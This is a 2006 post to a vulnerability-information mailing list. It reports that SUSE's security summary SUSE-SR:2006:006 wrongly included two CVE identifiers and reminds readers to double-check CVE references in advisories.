Date: Fri, 31 Mar 2006 03:18:42 -0500 (EST)
Subject: [VIM] Some CVEs accidentally included in SUSE-SR:2006:006
Message-ID: <200603310818.k2V8IgiH013610@cairo.mitre.org>
FYI, SUSE-SR:2006:006 listed a couple extra CVEs in its
cross-references, but associated descriptions were not in the advisory
details. Marcus Meissner of SUSE just confirmed to me that
CVE-2006-0024 and CVE-2006-0745 should not have been included in the
summary, since they released separate advisories for the associated
products.
Normally I might not notify VIM of this, but I figured it was a good
time to remind people to double-check CVEs in advisories, cause
mistakes do happen sometimes :-/
- Steve